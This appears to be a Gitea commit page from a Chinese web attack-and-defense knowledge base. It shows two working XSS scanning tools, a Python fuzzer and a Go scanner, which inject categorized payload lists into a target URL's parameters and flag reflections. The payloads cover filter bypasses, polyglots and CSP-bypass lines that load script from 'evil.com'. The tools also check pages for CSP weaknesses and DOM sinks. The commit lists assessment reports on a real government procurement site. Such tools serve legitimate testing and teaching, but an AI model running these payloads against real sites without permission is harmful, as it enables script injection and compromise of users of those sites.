初始化: Web安全攻防知识库

- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs
- SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go
- XSS工具: xss-fuzzer.py, xss-scanner.go
- 认证攻击: web-brute.py, jwt-cracker.py
- 服务端安全: port-scanner.py, tls-scanner.py
- 防御配置: nginx-hardening.conf
- 案例研究: 福建政采网安全评估报告 (13份)
- 同步脚本: sync-gitea.sh
这个提交包含在:
hao
2026-03-16 17:10:23 -07:00
当前提交 cda31e86c7
修改 33 个文件,包含 6072 行新增0 行删除

409
02-xss/tools/xss-fuzzer.py 普通文件
查看文件

@@ -0,0 +1,409 @@
#!/usr/bin/env python3
"""
XSS Fuzzer - XSS Payload 模糊测试工具
支持:
- 反射型 XSS 检测
- 存储型 XSS 检测
- DOM 型 XSS 检测
- CSP 绕过测试
- 自定义 Payload
Usage:
python3 xss-fuzzer.py -u "http://target.com/search?q=test"
python3 xss-fuzzer.py -u "http://target.com/comment" -d "comment=test" -m POST
python3 xss-fuzzer.py -u "http://target.com" --dom-scan
"""
import argparse
import requests
import re
import urllib.parse
from typing import List, Dict, Tuple, Optional
import time
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
END = "\033[0m"
BOLD = "\033[1m"
class XSSFuzzer:
def __init__(self, timeout: int = 10):
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update(
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
)
self.payloads = {
"basic": [
"<script>alert('XSS')</script>",
"<script>alert(1)</script>",
"<script>alert(document.domain)</script>",
"<img src=x onerror=alert(1)>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert(1)>",
"<svg/onload=alert(1)>",
"<body onload=alert(1)>",
"<iframe src='javascript:alert(1)'>",
"'\"><script>alert(1)</script>",
],
"event_handlers": [
'"onfocus=alert(1) autofocus=',
"'onfocus=alert(1) autofocus='",
'"onmouseover=alert(1)//',
"'onmouseover=alert(1)//",
'"onclick=alert(1)//',
"'onclick=alert(1)//",
'"onerror=alert(1)//',
'"onload=alert(1)//',
'"oninput=alert(1)//',
'"onchange=alert(1)//',
],
"tag_injection": [
"<img src=x onerror=alert(1)//",
"<svg/onload=alert(1)//",
"<body/onload=alert(1)//",
"<video src=x onerror=alert(1)>",
"<audio src=x onerror=alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<marquee onstart=alert(1)>",
"<details open ontoggle=alert(1)>",
"<embed src=javascript:alert(1)>",
"<object data=javascript:alert(1)>",
],
"encoding": [
"%3Cscript%3Ealert(1)%3C/script%3E",
"&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
"&#60;script&#62;alert(1)&#60;/script&#62;",
"\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
"\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
],
"csp_bypass": [
"<script/src='https://evil.com/xss.js'></script>",
"<link rel=import href='https://evil.com/xss.html'>",
"<object/data='javascript:alert(1)'>",
"<embed/src='javascript:alert(1)'>",
"<form><button formaction=javascript:alert(1)>Click",
],
"filter_bypass": [
"<ScRiPt>alert(1)</ScRiPt>",
"<SCRIPT>alert(1)</SCRIPT>",
"<script >alert(1)</script >",
"<script\n>alert(1)</script\n>",
"<script\t>alert(1)</script\t>",
"<script\x00>alert(1)</script>",
"<scr<script>ipt>alert(1)</scr</script>ipt>",
"<<script>script>alert(1)//<</script>/script>",
],
"polyglot": [
"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
'\'">><marquee><img src=x onerror=alert(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)>',
"<svg/onload=alert(1)>'-alert(1)-'",
'"><script>alert(1)</script><img src=x onerror=alert(1)>',
"javascript:alert(1)//';alert(String.fromCharCode(88,83,83))//",
],
}
self.dom_sinks = [
"document.write",
"document.writeln",
"document.domain",
"element.innerHTML",
"element.outerHTML",
"eval",
"setTimeout",
"setInterval",
"Function",
"location",
"location.href",
"location.replace",
"location.assign",
"window.open",
"document.cookie",
]
def print_result(self, level: str, msg: str):
colors = {
"INFO": Colors.BLUE,
"SUCCESS": Colors.GREEN,
"WARNING": Colors.YELLOW,
"ERROR": Colors.RED,
"VULN": Colors.RED + Colors.BOLD,
}
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
def test_reflected(
self,
url: str,
param: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
) -> List[Dict]:
"""测试反射型 XSS"""
results = []
for category, payloads in self.payloads.items():
self.print_result("INFO", f"测试 Payload 类别: {category}")
for payload in payloads:
test_data = data.copy() if data else {}
test_data[param] = payload
try:
if method.upper() == "GET":
params = urllib.parse.urlencode(test_data)
full_url = f"{url}?{params}"
resp = self.session.get(
full_url,
cookies=cookies,
timeout=self.timeout,
verify=False,
)
else:
resp = self.session.post(
url,
data=test_data,
cookies=cookies,
timeout=self.timeout,
verify=False,
)
if payload in resp.text:
result = {
"type": "Reflected XSS",
"category": category,
"param": param,
"payload": payload,
"evidence": f"Payload 在响应中找到",
"url": full_url if method == "GET" else url,
}
results.append(result)
self.print_result(
"VULN", f"[{category}] {param} - {payload[:50]}..."
)
time.sleep(0.1)
except Exception as e:
continue
return results
def test_context(
self,
url: str,
param: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
) -> Dict:
"""分析注入上下文"""
test_payloads = [
("'", "Single Quote"),
('"', "Double Quote"),
("<", "Less Than"),
(">", "Greater Than"),
("&", "Ampersand"),
("${", "Template Literal"),
("{{", "Template Expression"),
]
contexts = {}
for payload, desc in test_payloads:
test_data = data.copy() if data else {}
test_data[param] = payload
try:
if method.upper() == "GET":
params = urllib.parse.urlencode(test_data)
full_url = f"{url}?{params}"
resp = self.session.get(
full_url, cookies=cookies, timeout=self.timeout, verify=False
)
else:
resp = self.session.post(
url,
data=test_data,
cookies=cookies,
timeout=self.timeout,
verify=False,
)
if payload in resp.text:
contexts[desc] = "未过滤"
else:
contexts[desc] = "已过滤"
except Exception:
contexts[desc] = "请求失败"
return contexts
def scan_dom_xss(self, url: str, cookies: Dict = None) -> List[Dict]:
"""扫描 DOM XSS 漏洞"""
results = []
try:
resp = self.session.get(
url, cookies=cookies, timeout=self.timeout, verify=False
)
html = resp.text
patterns = [
(r"document\.write\s*\([^)]*location", "document.write with location"),
(
r"document\.write\s*\([^)]*location\.hash",
"document.write with location.hash",
),
(r"element\.innerHTML\s*=\s*[^;]*location", "innerHTML with location"),
(r"eval\s*\([^)]*location", "eval with location"),
(r"setTimeout\s*\([^)]*location", "setTimeout with location"),
(r"\$\{[^}]*location", "Template literal with location"),
(r"window\.location\.hash", "location.hash usage"),
(r"document\.URL", "document.URL usage"),
(r"document\.documentURI", "document.documentURI usage"),
(r"document\.baseURI", "document.baseURI usage"),
]
for pattern, desc in patterns:
if re.search(pattern, html, re.IGNORECASE):
results.append(
{
"type": "Potential DOM XSS",
"pattern": pattern,
"description": desc,
}
)
self.print_result("WARNING", f"发现潜在 DOM XSS: {desc}")
except Exception as e:
self.print_result("ERROR", f"扫描失败: {e}")
return results
def check_csp(self, url: str, cookies: Dict = None) -> Dict:
"""检查 CSP 策略"""
result = {"has_csp": False, "csp_header": None, "weaknesses": []}
try:
resp = self.session.get(
url, cookies=cookies, timeout=self.timeout, verify=False
)
csp = resp.headers.get("Content-Security-Policy")
if csp:
result["has_csp"] = True
result["csp_header"] = csp
if "unsafe-inline" in csp:
result["weaknesses"].append("允许内联脚本 (unsafe-inline)")
if "unsafe-eval" in csp:
result["weaknesses"].append("允许 eval (unsafe-eval)")
if "*" in csp:
result["weaknesses"].append("使用通配符 (*)")
if "data:" in csp:
result["weaknesses"].append("允许 data: 协议")
if "http:" in csp:
result["weaknesses"].append("允许不安全 HTTP")
else:
result["weaknesses"].append("未配置 CSP")
except Exception as e:
result["error"] = str(e)
return result
def main():
parser = argparse.ArgumentParser(description="XSS Fuzzer")
parser.add_argument("-u", "--url", required=True, help="目标URL")
parser.add_argument("-p", "--param", default="q", help="测试参数")
parser.add_argument(
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
)
parser.add_argument("-d", "--data", help="POST数据")
parser.add_argument("-c", "--cookie", help="Cookie")
parser.add_argument("--dom-scan", action="store_true", help="扫描DOM XSS")
parser.add_argument("--check-csp", action="store_true", help="检查CSP策略")
parser.add_argument(
"--all-categories", action="store_true", help="测试所有Payload类别"
)
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
args = parser.parse_args()
requests.packages.urllib3.disable_warnings()
fuzzer = XSSFuzzer(timeout=args.timeout)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
print(f"{Colors.BOLD}XSS Fuzzer{Colors.END}")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
data = {}
if args.data:
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
data[k] = v
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
if args.check_csp:
fuzzer.print_result("INFO", "检查 CSP 策略...")
csp_result = fuzzer.check_csp(args.url, cookies)
if csp_result["has_csp"]:
fuzzer.print_result(
"SUCCESS", f"CSP 已配置: {csp_result['csp_header'][:100]}..."
)
for w in csp_result["weaknesses"]:
fuzzer.print_result("WARNING", f" - {w}")
else:
fuzzer.print_result("WARNING", "未配置 CSP!")
for w in csp_result["weaknesses"]:
fuzzer.print_result("WARNING", f" - {w}")
if args.dom_scan:
fuzzer.print_result("INFO", "扫描 DOM XSS...")
dom_results = fuzzer.scan_dom_xss(args.url, cookies)
for r in dom_results:
fuzzer.print_result("WARNING", f" - {r['description']}")
fuzzer.print_result("INFO", f"测试参数: {args.param}")
context = fuzzer.test_context(args.url, args.param, args.method, data, cookies)
fuzzer.print_result("INFO", "上下文分析:")
for ctx, status in context.items():
color = Colors.YELLOW if status == "未过滤" else Colors.GREEN
print(f" {color}{ctx}: {status}{Colors.END}")
results = fuzzer.test_reflected(args.url, args.param, args.method, data, cookies)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
if results:
fuzzer.print_result("SUCCESS", f"发现 {len(results)} 个 XSS 漏洞!")
for r in results:
print(f" - [{r['category']}] {r['param']}: {r['payload'][:60]}...")
else:
fuzzer.print_result("INFO", "未发现反射型 XSS 漏洞")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if __name__ == "__main__":
main()

289
02-xss/tools/xss-scanner.go 普通文件
查看文件

@@ -0,0 +1,289 @@
// xss-scanner.go - 高性能 XSS 批量扫描工具
package main
import (
"flag"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
type XSSResult struct {
URL string
Payload string
Type string
Category string
}
type XSSScanner struct {
Client *http.Client
Threads int
Timeout time.Duration
Payloads map[string][]string
}
var (
colorRed = "\033[91m"
colorGreen = "\033[92m"
colorYellow = "\033[93m"
colorBlue = "\033[94m"
colorCyan = "\033[96m"
colorBold = "\033[1m"
colorEnd = "\033[0m"
)
func NewXSSScanner(threads int, timeout time.Duration) *XSSScanner {
return &XSSScanner{
Client: &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
},
Threads: threads,
Timeout: timeout,
Payloads: map[string][]string{
"basic": {
"<script>alert(1)</script>",
"<script>alert('XSS')</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
},
"event_handlers": {
"\"onfocus=alert(1) autofocus=",
"\"onmouseover=alert(1)//",
"\"onclick=alert(1)//",
"\"onerror=alert(1)//",
"\"onload=alert(1)//",
},
"tag_injection": {
"<img src=x onerror=alert(1)//",
"<svg/onload=alert(1)//",
"<video src=x onerror=alert(1)>",
"<details open ontoggle=alert(1)>",
"<marquee onstart=alert(1)>",
},
"filter_bypass": {
"<ScRiPt>alert(1)</ScRiPt>",
"<SCRIPT>alert(1)</SCRIPT>",
"<script >alert(1)</script >",
"<script\x00>alert(1)</script>",
},
"encoding": {
"%3Cscript%3Ealert(1)%3C/script%3E",
"&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
},
},
}
}
func (s *XSSScanner) SendRequest(targetURL, method, param, payload string) (string, error) {
var req *http.Request
var err error
if method == "GET" {
u, _ := url.Parse(targetURL)
q := u.Query()
q.Set(param, payload)
u.RawQuery = q.Encode()
req, err = http.NewRequest("GET", u.String(), nil)
} else {
data := url.Values{}
data.Set(param, payload)
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
resp, err := s.Client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return string(body), nil
}
func (s *XSSScanner) ScanURL(targetURL, method, param string) []XSSResult {
var results []XSSResult
var mu sync.Mutex
var wg sync.WaitGroup
sem := make(chan struct{}, s.Threads)
for category, payloads := range s.Payloads {
for _, payload := range payloads {
wg.Add(1)
go func(cat, p string) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
body, err := s.SendRequest(targetURL, method, param, p)
if err != nil {
return
}
if strings.Contains(body, p) || strings.Contains(body, url.QueryEscape(p)) {
mu.Lock()
results = append(results, XSSResult{
URL: targetURL,
Payload: p,
Type: "Reflected XSS",
Category: cat,
})
mu.Unlock()
fmt.Printf("%s[VULN]%s [%s] %s - %s\n",
colorRed+colorBold, colorEnd, cat, param, p[:min(50, len(p))])
}
}(category, payload)
}
}
wg.Wait()
return results
}
func (s *XSSScanner) CheckCSP(targetURL string) map[string]interface{} {
result := map[string]interface{}{
"has_csp": false,
"csp": "",
"weaknesses": []string{},
}
resp, err := s.Client.Get(targetURL)
if err != nil {
return result
}
defer resp.Body.Close()
csp := resp.Header.Get("Content-Security-Policy")
if csp != "" {
result["has_csp"] = true
result["csp"] = csp
weaknesses := []string{}
if strings.Contains(csp, "unsafe-inline") {
weaknesses = append(weaknesses, "允许内联脚本 (unsafe-inline)")
}
if strings.Contains(csp, "unsafe-eval") {
weaknesses = append(weaknesses, "允许 eval (unsafe-eval)")
}
if strings.Contains(csp, "*") {
weaknesses = append(weaknesses, "使用通配符 (*)")
}
result["weaknesses"] = weaknesses
}
return result
}
func (s *XSSScanner) ScanDOMXSS(targetURL string) []map[string]string {
results := []map[string]string{}
resp, err := s.Client.Get(targetURL)
if err != nil {
return results
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
html := string(body)
patterns := map[string]string{
`document\.write\s*\([^)]*location`: "document.write with location",
`element\.innerHTML\s*=\s*[^;]*location`: "innerHTML with location",
`eval\s*\([^)]*location`: "eval with location",
`window\.location\.hash`: "location.hash usage",
}
for pattern, desc := range patterns {
matched, _ := regexp.MatchString(pattern, html)
if matched {
results = append(results, map[string]string{
"pattern": pattern,
"desc": desc,
})
}
}
return results
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
func main() {
target := flag.String("u", "", "Target URL")
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
param := flag.String("p", "q", "Parameter to test")
threads := flag.Int("t", 10, "Number of threads")
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
checkCSP := flag.Bool("check-csp", false, "Check CSP headers")
domScan := flag.Bool("dom-scan", false, "Scan for DOM XSS")
flag.Parse()
if *target == "" {
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
flag.Usage()
return
}
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%sXSS Scanner (Go)%s\n", colorBold, colorEnd)
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
scanner := NewXSSScanner(*threads, *timeout)
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
if *checkCSP {
fmt.Printf("\n%s[*]%s Checking CSP...\n", colorCyan, colorEnd)
cspResult := scanner.CheckCSP(*target)
if cspResult["has_csp"].(bool) {
fmt.Printf("%s[+]%s CSP configured: %s\n", colorGreen, colorEnd, cspResult["csp"].(string)[:min(100, len(cspResult["csp"].(string)))])
for _, w := range cspResult["weaknesses"].([]string) {
fmt.Printf("%s[-]%s Weakness: %s\n", colorYellow, colorEnd, w)
}
} else {
fmt.Printf("%s[-]%s No CSP configured!\n", colorYellow, colorEnd)
}
}
if *domScan {
fmt.Printf("\n%s[*]%s Scanning for DOM XSS...\n", colorCyan, colorEnd)
domResults := scanner.ScanDOMXSS(*target)
for _, r := range domResults {
fmt.Printf("%s[-]%s Potential DOM XSS: %s\n", colorYellow, colorEnd, r["desc"])
}
}
fmt.Printf("\n%s[*]%s Testing XSS payloads...\n", colorCyan, colorEnd)
results := scanner.ScanURL(*target, *method, *param)
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%s[SUMMARY]%s Found %d XSS vulnerabilities\n", colorGreen, colorEnd, len(results))
for _, r := range results {
fmt.Printf(" - [%s] %s: %s\n", r.Category, r.Type, r.Payload[:min(50, len(r.Payload))])
}
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
}